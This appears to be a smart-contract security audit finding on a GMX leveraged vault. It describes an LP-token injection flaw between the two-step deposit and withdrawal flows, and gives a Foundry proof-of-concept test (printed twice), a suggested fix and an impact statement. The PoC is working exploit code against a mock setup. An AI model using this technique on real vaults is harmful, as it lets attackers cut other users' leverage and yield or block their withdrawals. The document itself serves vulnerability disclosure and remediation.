Token injection leads to unintended behavior of vault
When a token is deposited/withdrawn in a vault, it happens in two steps. In the first step, some states of the vault are saved, which are partially important for the second step, and a request to deposit/withdraw is made to GMX. In the second step, GMX calls the callback function, and the vault completes the deposit/withdrawal. The problem is that one can send LP tokens to the contract between these two steps, causing the vault to behave unintentionally.\\nDeposit\\nHere is a PoC for the effects when sending lpTokens between the two steps during deposit:\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity 0.8.21;\\nimport { console, console2 } from "forge-std/Test.sol";\\nimport { TestUtils } from "../../helpers/TestUtils.sol";\\nimport { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\nimport { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";\\nimport { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";\\nimport { GMXTestHelper } from "./GMXTestHelper.sol";\\n\\nimport { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";\\nimport { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";\\n\\ncontract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {\\n    function test_POC2() public {\\n        uint256 lpAmtUser1 = 0.000005e18; //~400$ (because price of lpToken = 79990000$)\\n\\n        //In the setup, the owner receives a few lpTokens, which are now sent to user1 for testing the token injection\\n        vm.startPrank(owner);\\n        IERC20(address(WETHUSDCpair)).transfer(address(user1), lpAmtUser1);\\n        vm.stopPrank();\\n        \\n        //Owner deposits in Vault\\n        vm.startPrank(owner);\\n        _createDeposit(address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE);\\n        vm.stopPrank();\\n        mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));\\n\\n        //Variable for Assertion\\n        (,uint256 debtAmtTokenBBefore) = vault.debtAmt();\\n\\n        vm.startPrank(user1);\\n        _createDeposit(address(WETH), 0.1 ether, 0, SLIPPAGE, EXECUTION_FEE); //User1 creates deposit. The 0.1 ether is being leveraged\\n        IERC20(address(WETHUSDCpair)).transfer(address(vault), lpAmtUser1); //User1 injects lp-tokens between createDeposit and processDeposit. They are not leveraged\\n        vm.stopPrank();\\n        //In step one, the equity was saved before the deposit. The equity depends on the LP amount and the debts to the lending Vaults. In step two, \\n        //the saved equity is used alongside the current equity to calculate how many Vault shares a user receives. This way, user1 receives shares \\n        //for their injected tokens that do not have any leverage.(so no borrowing from the lending vaults was done for these tokens)\\n        mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));\\n        \\n        //User1 withdraws all his tokens.\\n        uint256 vaultSharesAmount = IERC20(address(vault)).balanceOf(user1);\\n        vm.startPrank(user1);\\n        //In the case of a withdrawal, the debts to the LendingVaults are also repaid. Since it is assumed that all tokens have been leveraged, there \\n        //is a mistaken repayment to the lending vaults for the injected tokens as well.\\n        _createAndExecuteWithdrawal(address(WETH), address(USDC), address(USDC), vaultSharesAmount, 0, SLIPPAGE, EXECUTION_FEE);\\n        vm.stopPrank();\\n\\n        //Variable for Assertion\\n        (,uint256 debtAmtTokenBAfter) = vault.debtAmt();\\n        \\n        //After User1 withdrew their LP tokens, the debt amount for TokenB would normally be approximately the same as it was before User1 deposited. \\n        //However, due to the unleveraged tokens, more debt was repaid, resulting in a lower debt and, consequently, lower leverage than before.\\n        assert(debtAmtTokenBBefore - 750e6 > debtAmtTokenBAfter); //750e6 == $750. This is to show that the debt is significantly less than before\\n\\n        console.log("debtAmtTokenBBefore: %s", debtAmtTokenBBefore);\\n        console.log("debtAmtTokenBAfter: %s", debtAmtTokenBAfter);\\n    }\\n}\\n```\\n\\nSince the user can withdraw their injected tokens, which they received VaultShares for, they could execute this action multiple times to further worsen the tokenB debt amount and, consequently, the leverage.\\nThe POC can be started with this command: `forge test --match-test test_POC2 -vv`\\nWithdraw\\nWhen withdrawing, LP tokens can also be injected between the two steps. This can be exploited by an attacker because he can fail the afterWithdrawChecks if he sends the same amount of lp tokens that a user wants to withdraw.\\nHere is the check that the attacker could exploit by sending enough tokens to make the lpAmt as large as it was before the withdrawal:\\n```\\nFile: GMXChecks.sol#afterWithdrawChecks\\nif (GMXReader.lpAmt(self) >= self.withdrawCache.healthParams.lpAmtBefore)\\n      revert Errors.InsufficientLPTokensBurned();\\n```\\n
In the deposit function, the depositValue should be used to determine approximately how many lpTokens GMX will be transferred to the vault. This number should then be compared to the actual received amount in processDeposit.\\nIn the case of withdrawal, after calling removeLiquidity, the lpAmt should be stored, and this should be compared to the lpAmt in the processWithdraw function to determine whether tokens were injected.
Since, if this bug is exploited during deposit, an attacker can decrease the leverage, it results in users of the vault having less leverage and lower yield.\\nWhen withdrawing, the attacker can potentially cause the withdrawal to fail, but the user doesn't lose anything and can try again.
```\\n// SPDX-License-Identifier: MIT\\npragma solidity 0.8.21;\\nimport { console, console2 } from "forge-std/Test.sol";\\nimport { TestUtils } from "../../helpers/TestUtils.sol";\\nimport { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\nimport { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";\\nimport { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";\\nimport { GMXTestHelper } from "./GMXTestHelper.sol";\\n\\nimport { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";\\nimport { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";\\n\\ncontract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {\\n    function test_POC2() public {\\n        uint256 lpAmtUser1 = 0.000005e18; //~400$ (because price of lpToken = 79990000$)\\n\\n        //In the setup, the owner receives a few lpTokens, which are now sent to user1 for testing the token injection\\n        vm.startPrank(owner);\\n        IERC20(address(WETHUSDCpair)).transfer(address(user1), lpAmtUser1);\\n        vm.stopPrank();\\n        \\n        //Owner deposits in Vault\\n        vm.startPrank(owner);\\n        _createDeposit(address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE);\\n        vm.stopPrank();\\n        mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));\\n\\n        //Variable for Assertion\\n        (,uint256 debtAmtTokenBBefore) = vault.debtAmt();\\n\\n        vm.startPrank(user1);\\n        _createDeposit(address(WETH), 0.1 ether, 0, SLIPPAGE, EXECUTION_FEE); //User1 creates deposit. The 0.1 ether is being leveraged\\n        IERC20(address(WETHUSDCpair)).transfer(address(vault), lpAmtUser1); //User1 injects lp-tokens between createDeposit and processDeposit. They are not leveraged\\n        vm.stopPrank();\\n        //In step one, the equity was saved before the deposit. The equity depends on the LP amount and the debts to the lending Vaults. In step two, \\n        //the saved equity is used alongside the current equity to calculate how many Vault shares a user receives. This way, user1 receives shares \\n        //for their injected tokens that do not have any leverage.(so no borrowing from the lending vaults was done for these tokens)\\n        mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));\\n        \\n        //User1 withdraws all his tokens.\\n        uint256 vaultSharesAmount = IERC20(address(vault)).balanceOf(user1);\\n        vm.startPrank(user1);\\n        //In the case of a withdrawal, the debts to the LendingVaults are also repaid. Since it is assumed that all tokens have been leveraged, there \\n        //is a mistaken repayment to the lending vaults for the injected tokens as well.\\n        _createAndExecuteWithdrawal(address(WETH), address(USDC), address(USDC), vaultSharesAmount, 0, SLIPPAGE, EXECUTION_FEE);\\n        vm.stopPrank();\\n\\n        //Variable for Assertion\\n        (,uint256 debtAmtTokenBAfter) = vault.debtAmt();\\n        \\n        //After User1 withdrew their LP tokens, the debt amount for TokenB would normally be approximately the same as it was before User1 deposited. \\n        //However, due to the unleveraged tokens, more debt was repaid, resulting in a lower debt and, consequently, lower leverage than before.\\n        assert(debtAmtTokenBBefore - 750e6 > debtAmtTokenBAfter); //750e6 == $750. This is to show that the debt is significantly less than before\\n\\n        console.log("debtAmtTokenBBefore: %s", debtAmtTokenBBefore);\\n        console.log("debtAmtTokenBAfter: %s", debtAmtTokenBAfter);\\n    }\\n}\\n```\\n